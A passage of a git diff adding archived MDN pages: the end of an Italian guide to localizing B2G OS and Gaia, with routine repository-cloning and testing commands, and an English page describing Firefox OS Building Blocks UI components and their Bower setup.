+tags:
+  - B2G OS
+  - Localizzazione
+translation_of: Archive/B2G_OS/Developing_Gaia/Localizing_B2G_OS
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+
+<ol>
+  <li class="toggle">
+      <details>
+          <summary>Compilazione e installazione</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Panoramica su compilazione ed installazione</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">Sommario del processo di compilazione di B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Prerequisiti per la compilazione</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparare la tua prima compilazione</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building">Compilare B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">Add-on per l"installazione di B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Compilare B2G OS per Flame su Mac OS X</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Scegliere come eseguire Gaia e B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Dispositivi compatibili</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installare B2G OS su dispositivo mobile</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creare e applicare pacchetti di aggiornamento per B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Compilare e installare aggiornamenti via Internet prodotti dalla comunità</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">Foglio di riferimento per le variabili di compilazione di B2G OS</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Portabilità di B2G OS</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS">Panoramica sulla portabilità</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Basi della portabilità</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Portabilità su CyanogenMod</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Developing Gaia</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia">Panoramica sullo sviluppo di Gaia</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Eseguire il codice base di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Mulet">Esegui Gaia su desktop usando Mulet</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Comprendere il codice base di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Fare variazioni al codice di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Verificare le variazioni al codice di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Inviare una patch di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Sistema di compilazione primario di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Differenti modi per eseguire Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Riferimento per le opzioni di Make</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Riferimento per gli strumenti di Gaia</a></li>
+          </ol>
+      </details>
+  </li>
+  <li><a href="/it/docs/Mozilla/B2G_OS/API">API di B2G OS</a></li>
+</ol>
+</section><p></p>
+
+<div class="summary">
+<p><span class="seoSummary">In questa guida, vi mostreremo quanto è semplice localizzare B2G OS, soprattutto per quanto riguarda Gaia e le applicazioni. Iniziermo aiutandoti ad impostare il tuo computer, assistendoti nella localizzazione delle stringhe di Gaia e, infine, nel performare i test L10n sul lavoro svolto.</span></p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Questa è una guida pensata per aiutare nella localizzazione di B2G OS. Gli sviluppatori interessati a scrivere applicazioni localizzabili devono invece iniziare con <a href="/en-US/Apps/Build/Localization/Localizing_Firefox_OS_Apps">Localizzazione delle applicazioni B2G OS</a>, e poi dare uno sguardo a <a href="/en-US/Firefox_OS/Developing_Gaia/L10n_Best_Practices">Best practices L10n</a>.</p>
+</div>
+
+<h2 id="Recuperare_gli_strumenti">Recuperare gli strumenti</h2>
+
+<p>Per ottenere i file sorgenti di Gaia e testare il vostro lavoro di localizzazione sul vostro PC è necessario che vi assicuriate che le seguenti utility e i seguenti linguaggi siano installati:</p>
+
+<dl>
+ <dt>GNU make</dt>
+ <dd>make è uno strumento utilie per la creazione di build direttamente da codice sorgente. Risulterà utile quando sarete pronti ad effettuare test l10n sul vostro lavoro con il vostro PC. Scaricare e installare make è facile e può essere effettuato <a href="http://www.gnu.org/software/make/" title="http://www.gnu.org/software/make/">direttamente dal sito web GNU</a>. Se utilizzate Mac OSX, dovrete installare XCode e gli strumenti XCode's Command line dall'<a href="https://itunes.apple.com/us/app/xcode/id497799835?mt=12" title="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=7&amp;cad=rja&amp;ved=0CFQQFjAG&amp;url=https%3A%2F%2Fitunes.apple.com%2Fus%2Fapp%2Fxcode%2Fid497799835%3Fmt%3D12&amp;ei=6ZItUeDqDeejiAK90IDYCA&amp;usg=AFQjCNGrxKmVtXUdvUU3MhqZhP4MHT6Gtg&amp;bvm=bv.42965579,d.cGE">App Store</a>.</dd>
+ <dt>git</dt>
+ <dd>git è il sistema di controllo di versioning utilizzato per archiviare il codice sorgente sviluppato attivamente di Gaia. Scaricare e installare git è semplice e può essere fatto <a href="http://git-scm.com/" title="http://git-scm.com/">direttamente dal loro sito web</a>.</dd>
+ <dt>Python</dt>
+ <dd>Python è un linguaggio di programmazione che vi aiuterà a creare le build di Firefox OS per il testing l10n. Scaricare e installare Python è semplice e può essere effettuato <a href="http://www.python.org/getit/" title="http://www.python.org/getit/">direttamente dal loro sito web.</a></dd>
+ <dt>Mercurial (hg)</dt>
+ <dd>Mercurial (hg) è un altro systema di controllo di versioning che ospita le versioni stabili di Gaia usate per l'l10n e i repository localizzati. Scaricare e installare Mercurial è facile e può essere effettuato <a href="http://mercurial.selenic.com/downloads/" title="http://mercurial.selenic.com/downloads/">direttamente dal loro sito web.</a></dd>
+ <dt>compare-locales</dt>
+ <dd>compare-locales è uno script Python che aiuta i localizzatori a valutare il proprio lavoro e a separare il contenuto nuovo dal materiale già localizzato (chiamato diff). Scaricare e installare compare-locales è facile e può essere <a href="https://developer.mozilla.org/en-US/docs/Compare-locales" title="https://developer.mozilla.org/en-US/docs/Compare-locales">effettuato direttamente dalla pagina wiki di compare-locales </a>(sudo apt-get install python-setuptools &amp;&amp; sudo easy_install -U compare-locales). Tenete presente che è necessario solo se localizzate Gaia usando la linea di comando o un editor di testo. Se utilizzate Pootle, Transifex o Pontoon non ne avrete bisogno.</dd>
+</dl>
+
+<h2 id="Creare_un_repository_locale">Creare un repository locale</h2>
+
+<p>Una volta che avrete installato il software elencato sopra, sarà il momento di scaricare i sorgenti e le stringhe localizzate sul vostro computer.</p>
+
+<ol>
+ <li>Da linea di comando andate nella directory dove archivierete i sorgenti di Gaia e le stringhe localizzate.</li>
+ <li>Usando hg, clonare il repository en-US inserendo questo comando:
+  <pre>hg clone https://hg.mozilla.org/gaia-l10n/en-US</pre>
+ </li>
+ <li>Adesso clonate il vostro repository locale usando il comando seguente. Come esempio, la seconda linea di codice provvede un esempio di clonazione del repository in cinese tradizionale nella cartela adeguata:
+  <pre>hg clone https://hg.mozilla.org/gaia-l10n/your-locale-code
+hg clone https://hg.mozilla.org/gaia-l10n/zh-TW/ B2G/gaia/locales/zh-TW</pre>
+ </li>
+ <li>Per l'italiano, il comando dovrebbe essere simile al seguente:
+  <pre>hg clone https://hg.mozilla.org/gaia-l10n/it</pre>
+ </li>
+ <li>Now run the following command:
+  <pre class="brush: json line-numbers  language-json"><code class="language-json">LOCALE_BASEDIR<span class="operator token">=</span>locales<span class="operator token">/</span> LOCALES_FILE<span class="operator token">=</span>locales<span class="operator token">/</span>languages_mine<span class="punctuation token">.</span>json make</code></pre>
+ </li>
+ <li>I file locali dovrebbero essere indicati nel file <code>languages_mine.json</code>, che utilizza una struttura simile alla seguente:
+  <pre class="brush: json line-numbers  language-json">  <code class="language-json"><span class="punctuation token">{</span>
+  <span class="key token">"en-US" :</span> <span class="string token">"English (US)"</span><span class="punctuation token">,</span>
+  <span class="key token">"fr" :</span> <span class="string token">"Français (fr)"</span>
+  <span class="punctuation token">}</span></code></pre>
+ </li>
+ <li>Infine scrivere questo comando per creare un diff tra il repo localizzato e quello en-US:
+  <pre>compare-dirs en-US it</pre>
+ </li>
+</ol>
+
+<p>Adesso dovreste avere un <em>diff</em> di stringhe non localizzate pronte per essere tradotte! Tenete presente che se state iniziando una nuova localizzazione di B2G OS non sarà necessario creare un diff dato che tutte le stringhe dovranno essere tradotte.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Fare riferimento a <a href="https://gist.github.com/timdream/7716684">questo gist</a> per uno script che automatizzi la procedura.</p>
+</div>
+
+<h2 id="Traduzione_delle_stringhe_di_Gaia">Traduzione delle stringhe di Gaia</h2>
+
+<p>Il workflow per la traduzione delle stringhe di Gaia è fortemente influenzato dagli strumenti utilizzati per tradurre. Questa parte del processo è simile alla fase tradizionale di traduzione degli altri prodotti Mozilla. La pagina <a href="https://developer.mozilla.org/en-US/docs/Localization_Quick_Start_Guide/Translation_phase" title="https://developer.mozilla.org/en-US/docs/Localization_Quick_Start_Guide/Translation_phase">Fase della traduzione della Guida rapida alla localizzazione</a> contiene una lista di tutti gli strumenti usati per tradurre le stringhe contenute nei prodotti Mozilla oltre a dei tutorial su come tradurre con tali strumenti. Questa pagina risulterà utile sia se farete parte di un team l10n che dovrà decidere quali strumenti usare per tradurre le stringhe di Gaia, ma anche se starete cercando il tutorial giusto per lo strumento che il vostro team utilizza.</p>
+
+<h2 id="Testing_L10n_per_B2G_OS">Testing L10n per B2G OS</h2>
+
+<p>Sono due i metodi principali per effettuare testing l10n su B2G OS: build desktop e build mobile. Attualmente il metodo desktop è quello utilizzato maggiormente per il testing l10n.</p>
+
+<h3 id="Testing_l10n_su_desktop">Testing l10n su desktop</h3>
+
+<ol>
+ <li>Scaricate e installate l'<a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/">ultima nightly build di boot2gecko</a> in versione desktop, scaricando il pacchetto corrispondente al vostro sistema operativo. Cercate i pacchetti che contengono la parola <em>localizer</em>. Questo indica che la build ha tutte le localizzazioni elencate in <a href="https://github.com/mozilla-b2g/gaia/blob/master/locales/languages_all.json" title="https://github.com/mozilla-b2g/gaia/blob/master/locales/languages_all.json"><code>languages-all.json</code></a> attivate.</li>
+ <li>Clonate l'ultima versione di Gaia andando alla directory del vostro PC dove volete che venga scaricato e scrivete questo comando nella linea di comando<code>:</code><code>git clone git://github.com/mozilla-b2g/gaia.git</code></li>
+ <li>Se il vostro team sta localizzando B2G OS per la prima volta, dovrete abilitare la vostra lingua (altrimenti preparatevi un bel drink in attesa che sia qualcun altro ad abitarla):
+  <ol>
+   <li>Sempre da linea di comando, andate nella directory contenente la clonazione di Gaia ed eseguite questo comando per clonare il vostro repo locale:<code> hg clone ssh://hg.mozilla.org/gaia-l10n/it</code></li>
+   <li>Aprite il file <code>languages.json</code> che si trova nella directory  <code>shared/resources</code> della directory locale appena clonata.</li>
+   <li>Aggiungete le informazioni della localizzazione secondo il formato: "it-IT" : "Italian (IT)", e salvate il file.</li>
+   <li>Infine eseguite il comando: <code>make multilocale</code> che abilita la vostra localizzazione nella build sul vostro PC.</li>
+  </ol>
+ </li>
+ <li>Create il vostro profilo Gaia profile eseguendo questo comando: <code>DEBUG=1 make -C gaia profile</code></li>
+ <li>Infine, eseguite B2G OS con il profilo della vostra localizzazione e iniziate il test. Per farlo, inserite questo comando: <code>b2g/b2g -profile gaia/profile</code>. Se state usando Mac OS X, eseguite questo  comando: <code>/Applications/B2G.app/Contents/MacOS/b2g -profile gaia/profile</code></li>
+ <li>Per aggiornare le vostre build desktop dovrete semplicemente andare nella directory della clonazione del repo di Gaia e inserire questo comando: <code>git pull</code></li>
+</ol>
+
+<h3 id="Testing_l10n_su_mobile">Testing l10n su mobile</h3>
+
+<p><em>This section will come as more devices that support B2G OS become available to localizers.</em></p>
+
+<h3 id="Cosa_cercare_durante_i_test_l10n">Cosa cercare durante i test l10n</h3>
+
+<p>Effettuare un test sulla localizzazione per un sistema operativo mobile ha alcune similarità con gli analoghi test che si effettuano nella localizzazione di applicazioni desktop. Ecco alcune linee guida su cosa verificare quando eseguite i test di localizzazione sul vostro lavoro:</p>
+
+<ol>
+ <li>Controllate che la traduzione "stia" all'interno degli elementi testuali dell'interfaccia utente;</li>
+ <li>Assicuratevi che il tolo, lo stile e la terminologia siano coerenti con l'intero prodotto;</li>
+ <li>Cercate stringhe inglesi non ancora tradotte all'interno dell'interfaccia. Queste potrebbero essere codificate nel codice sorgente di Gaia o potrebbero essere causate da un errore nell'identificativo dell'elmento ID.</li>
+ <li>Accertatevi che tempo e data siano visualizzati correttamente, secondo gli standard della vostra regione.</li>
+</ol>
+
+<h2 id="Individuate_bachi_relativi_alla_localizzazione">Individuate bachi relativi alla localizzazione</h2>
+
+<p>Ecco alcuni link a bugzilla, per farti degli esempi di bachi che sono stati incontrati nell'utilizzo di telefoni. Ti darà un'idea di dove guardare per individuare questa tipologia di errori e su come riportarli.</p>
+
+<ul>
+ <li><a class="moz-txt-link-freetext" href="http://bit.ly/100bcsC">http://bit.ly/100bcsC</a> - questa è una lista generale dei bug di B2g relativi a l10n</li>
+ <li><a class="moz-txt-link-freetext" href="https://bugzilla.mozilla.org/show_bug.cgi?id=846060">https://bugzilla.mozilla.org/show_bug.cgi?id=846060</a></li>
+ <li><a class="moz-txt-link-freetext" href="https://bugzilla.mozilla.org/show_bug.cgi?id=852739">https://bugzilla.mozilla.org/show_bug.cgi?id=852739</a></li>
+</ul>
+
+<p>Regole generali per la segnalazione di bug di localizzazione:</p>
+
+<ul>
+ <li>se il bug è relativo ad una lingua nello specifico, va inserito sotto Mozilla Localization (sotto Other Products), mettendo in cc il localizzatore. Non dimenticare di indicare le flag appropriate per il bug segnalato;</li>
+ <li>se non si tratta di un bug specifico di una lingua, inseritelo all'interno della categoria FirefoxOS Product, sempre inserendo in cc il localizzatore. Non dimenticare di indicare le flag appropriate per il bug segnalato;</li>
+ <li>se siete in dubbio,  inserite comunque il bug nella categoria FirefoxOS Product, and cc the localizer. Non dimenticare di indicare le flag appropriate per il bug segnalato.</li>
+</ul>
+
+<p>Per coloro i quali utilizzano <a href="http://moztrap.mozilla.org/" title="http://moztrap.mozilla.org/">Moztrap</a>, un buon modo per verificare la localizzazione di B2G OS è guardare ai test presenti sotto il tag "localization" di FirefoxOS e verificare se avreste passato quel stes sul vostro dispositivo.</p>
+
+<h2 id="E_ora">E ora?</h2>
+
+<p>Ora sei pronto per iniziare la localizzazione! Apri il tuo strumento di localizzazione preferito per l10n, forza! Come sempre, se hai domande cui non hai trovato risposta in questo documento, puoi inviarle a <a href="http://www.mozilla.org/about/forums/#dev-l10n" title="http://mailto:_dev-l10n@lists.mozilla.org">mozilla.dev.l10n newsgroup</a>.</p>
diff --git a/files/it/archive/b2g_os/firefox_os_apps/building_blocks/index.html b/files/it/archive/b2g_os/firefox_os_apps/building_blocks/index.html
new file mode 100644
index 0000000000..af56f0301c
--- /dev/null
+++ b/files/it/archive/b2g_os/firefox_os_apps/building_blocks/index.html
@@ -0,0 +1,195 @@
+---
+title: Firefox OS Building Blocks
+slug: Archive/B2G_OS/Firefox_OS_apps/Building_blocks
+tags:
+  - Design
+  - Design patterns
+  - Firefox OS
+  - NeedsTranslation
+  - TopicStub
+  - UI
+  - building blocks
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+
+<ol>
+  <li class="toggle">
+      <details>
+          <summary>Compilazione e installazione</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Panoramica su compilazione ed installazione</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">Sommario del processo di compilazione di B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Prerequisiti per la compilazione</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparare la tua prima compilazione</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building">Compilare B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">Add-on per l"installazione di B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Compilare B2G OS per Flame su Mac OS X</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Scegliere come eseguire Gaia e B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Dispositivi compatibili</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installare B2G OS su dispositivo mobile</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creare e applicare pacchetti di aggiornamento per B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Compilare e installare aggiornamenti via Internet prodotti dalla comunità</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">Foglio di riferimento per le variabili di compilazione di B2G OS</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Portabilità di B2G OS</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS">Panoramica sulla portabilità</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Basi della portabilità</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Portabilità su CyanogenMod</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Developing Gaia</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia">Panoramica sullo sviluppo di Gaia</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Eseguire il codice base di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Mulet">Esegui Gaia su desktop usando Mulet</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Comprendere il codice base di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Fare variazioni al codice di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Verificare le variazioni al codice di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Inviare una patch di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Sistema di compilazione primario di Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Differenti modi per eseguire Gaia</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Riferimento per le opzioni di Make</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Riferimento per gli strumenti di Gaia</a></li>
+          </ol>
+      </details>
+  </li>
+  <li><a href="/it/docs/Mozilla/B2G_OS/API">API di B2G OS</a></li>
+</ol>
+</section><p></p>
+
+<div class="summary">
+<p>The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.</p>
+</div>
+
+<h2 id="Using_the_Firefox_OS_Building_Blocks">Using the Firefox OS Building Blocks</h2>
+
+<p>The code for the Firefox OS Building Blocks can be found in the <a href="https://github.com/mozilla-b2g/gaia">Gaia Github repo</a> under <a href="https://github.com/mozilla-b2g/gaia/tree/master/shared/style">shared/style</a>. Here, you can find a CSS file that contains the CSS for that particular Building Block, and a sub directory containing the HTML fragments and image assets. If you are creating your own standalone Web app, you can simply copy the CSS, HTML and image asset files across into your own project; if your app is intended to be installed on Firefox OS only (or you want to use these features only when the app is being used on Firefox OS), then you can link to the versions available inside Gaia.</p>
+
+<p>The pages for the individual Building Block implementations can be found under the pages for each building block — see next section. These contain instructions on how to implement each one.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The version 2.0 building block code is used in Firefox OS releases 2.0 through 2.2. Version 2.3 sees an update, with the building blocks being reimplemented using <a href="/en-US/docs/Web/Web_Components">Web components</a> — these provide the same functionality, but implemented in a much more powerful, flexible way. You'll see 2.3 pages appear underneath the main building block pages covering these Web components as soon as the information is available.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: We also have an old guide covering the <a href="/en-US/Apps/Design/Firefox_OS_building_blocks/1.x">v1.x building blocks</a> used in older versions of Firefox OS. This is mainly for legacy information.</p>
+</div>
+
+<h2 id="Web_components_preliminary_setup">Web components preliminary setup</h2>
+
+<p>This section details the preliminary setup needed to use Gaia Web components.</p>
+
+<h3 id="Web_components_browser_support">Web components browser support</h3>
+
+<p>To use <a href="https://github.com/gaia-components">Gaia Web components</a> at all, you need to run them using a browser that supports Web components. The state of support is as follows:</p>
+
+<ul>
+ <li>Firefox: Supported since Firefox 23 (33 on Android), but preffed off. To enable Web components, go to <code>about:config</code> and enable the <code>dom.webcomponents.enabled</code> pref.</li>
+ <li>Chrome: Supported since Chrome 33 (39 on Android).</li>
+ <li>Opera: Supported since Opera 20 (24 on Android).</li>
+ <li>Android browser: Supported since 4.4.4.</li>
+ <li>Safari/iOS Mobile and IE/IE mobile: Nope.</li>
+</ul>
+
+<p>Web components are supported in Firefox OS from v2.1 onwards, although most of them weren't actually implemented until v2.3. Be aware also that currently Web components won't work for Firefox OS apps below internal (certified) level. This restriction should be lessened in the future.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If your app is certified, the components will just work. You don't need to set a specific manifest permission.</p>
+</div>
+
+<h3 id="Web_components_installation_notes">Web components installation notes</h3>
+
+<p>Gaia Web components are installed in your app using the <a href="http://bower.io/">Bower</a> package manager. To install this, you first need <a href="http://nodejs.org/">Node.js/npm</a> and <a href="http://www.git-scm.com/">Git</a> installed. Once they are installed you can install Bower with</p>
+
+<pre class="brush: bash">npm install -g bower</pre>
+
+<p>At this point you could also install the Gaia Fira Sans font that Firefox OS uses in your app , with the following command:</p>
+
+<pre class="brush: bash">bower install gaia-components/gaia-fonts</pre>
+
+<p>You can then make use of the font by including the following in your head (along with a <code>font-family</code> of <code>FiraSans</code>):</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" type="text/css" href="bower_components/gaia-fonts/style.css"&gt;&lt;/link&gt;</pre>
+
+<h2 id="Firefox_OS_Building_Blocks">Firefox OS Building Blocks</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Action_menu">Action menu</a></dt>
+ <dd>An action menu presents a list of actions, related to the app's content, from which the user may make a selection.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Banners">Banners</a></dt>
+ <dd>Banners (Status, in older versions of Firefox OS) provide information to the user in a transitory fashion, typically to confirm an action or to alert the user to a system event.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Buttons">Buttons</a></dt>
+ <dd>Buttons are used to perform explicit actions. Buttons may be text or images.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Context_menu">Context menu</a></dt>
+ <dd>Accessed via a tap and hold gesture (sometimes called a <em>long press</em>), the Context Menu (called the Object Menu in older versions of Firefox OS) allows users to perform actions on objects without having to leave their current view.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Dialog">Dialog</a></dt>
+ <dd>A Dialog (Confirm, in older versions of Firefox OS) provides the user with some important information, asks the user to take or confirm an action, or allows the user to make a choice or enter some information.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Drawer">Drawer</a></dt>
+ <dd>The drawer is a scalable way for users to navigate between views or filter views. The drawer can also include links to app settings or other tools.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Header">Header</a></dt>
+ <dd>A header is a dedicated space at the top of the screen, most often used to display the view title. It can also include navigation, action buttons and other controls.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Input_area">Input area</a></dt>
+ <dd>An input area is a data entry field, and can be as simple as a text only entry field, or as complex as a multipart entry field with text entry, value selections, and buttons.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Layout">Layout</a></dt>
+ <dd>The Layout utility will help you to create common layout structures for your Firefox OS apps. Note that Layout is only available in Firefox OS 2.1 and above.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/List_items">List items</a></dt>
+ <dd>List items are typically used to navigate to a new screen, or to display information or controls.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Picker">Picker</a></dt>
+ <dd>The Picker is designed to select a group of items as attachments for messaging and email.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Progress_and_activity">Progress and activity</a></dt>
+ <dd>Progress and activity indicators provide the user with visual feedback that a process (such as a resource loading) is active.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Scrolling">Scrolling</a></dt>
+ <dd>Scrolling areas allow the user to move text and/or images across the device's display.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Search">Search</a></dt>
+ <dd>Search is used to filter a list or find context-specific content.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Slider">Slider</a></dt>
+ <dd>A Slider (which was called Seekbar in older Firefox OS versions) is used to select a value from a continuous or discrete range of values by dragging the handle.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Select_mode">Select mode</a></dt>
+ <dd>Select Mode (which was called Edit Mode in older Firefox OS versions) is designed to select and perform actions on items.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Subheader">Subheader</a></dt>
+ <dd>Subheaders are used to describe a subsection of content.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Switches">Switches</a></dt>
+ <dd>Switches (such as checkboxes, etc.) allow users to activate and deactivate items. Switches are also used to select items within a list.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Tab_Filter">Tab/Filter</a></dt>
+ <dd>A Tab/Filter gives the user a way to easily switch between views or to filter a set of data.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Toolbars">Toolbars</a></dt>
+ <dd>Toolbars contain actions, indicators and navigation elements associated with the current view.</dd>
+ <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Value_selector">Value selector</a></dt>
+ <dd>Value Selectors let the user choose from among a list of possible values.</dd>
+</dl>
+</div>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: For a detailed guide to the design pattern followed by the building blocks when the Arabic locale (bidirectional) is selected, read <a href="/en-US/Apps/Design/Firefox_OS_in_Arabic">Firefox OS in Arabic</a>.</p>
+</div>
+
+<h2 id="Cross_browser_CSS">Cross browser CSS</h2>
+
+<p>Arnau March wrote a CSS file called <a href="https://github.com/mdn/gaia-2.0-bb/blob/gh-pages/cross_browser_css/cross_browser.css">cross browser CSS</a>, containing rules to allow Firefox 2.0 building blocks to render properly across different browsers (ie 9, Firefox 18, Chrome 24, Safari 5.1.) If you want to write hosted apps that look ok across different browsers, include this CSS in your project.</p>
+
+<h2 id="Browse_Firefox_OS_Building_Block_implementations_by_version">Browse Firefox OS Building Block implementations by version</h2>
+
+<p>The pages below list links to pages covering the Firefox OS Building Block implementations as they appear in different versions of Firefox OS.</p>
+
+<ul>
